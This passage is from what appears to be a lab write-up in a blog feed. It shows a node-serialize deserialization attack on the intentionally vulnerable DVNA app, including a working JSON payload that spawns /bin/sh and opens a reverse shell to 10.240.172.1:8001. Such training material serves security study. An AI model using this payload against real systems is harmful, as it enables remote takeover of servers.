        &lt;span class="nx"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sr"&gt;/a/&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Prevents the Node.js application from crashing&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3. After several iterations of test and debug, the follow final payload object was obtained to get a reverse shell on the DVNA app.
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"st11-1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"708"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Tryna Grab a Shell"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"tags"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"_$$ND_FUNC$$_function(){var net = require(&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;net&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;);const cp = require(&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;child_process&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;);const sh = cp.spawn(&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;/bin/sh&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, []);var client = new net.Socket();client.connect(8001, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;10.240.172.1&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;}()"&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This payload was saved as &lt;strong&gt;test2.json&lt;/strong&gt;, then uploaded to the Web application.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzf5r1s746l5o96xyyqtc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzf5r1s746l5o96xyyqtc.png" alt="upload test2.json to DVNA"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After detonation of the embedded payload, a reverse shell was received on the listening machine.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0lgmha24ngvn0lt98rv6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0lgmha24ngvn0lt98rv6.png" alt="reverse shell access obtained"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  V. References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt; &lt;a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE" rel="noopener noreferrer"&gt;https://developer.mozilla.org/en-US/docs/Glossary/IIFE&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt; &lt;a href="https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell" rel="noopener noreferrer"&gt;https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://book.hacktricks.xyz/pentesting-web/deserialization" rel="noopener noreferrer"&gt;https://book.hacktricks.xyz/pentesting-web/deserialization&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
  </channel>
</rss>
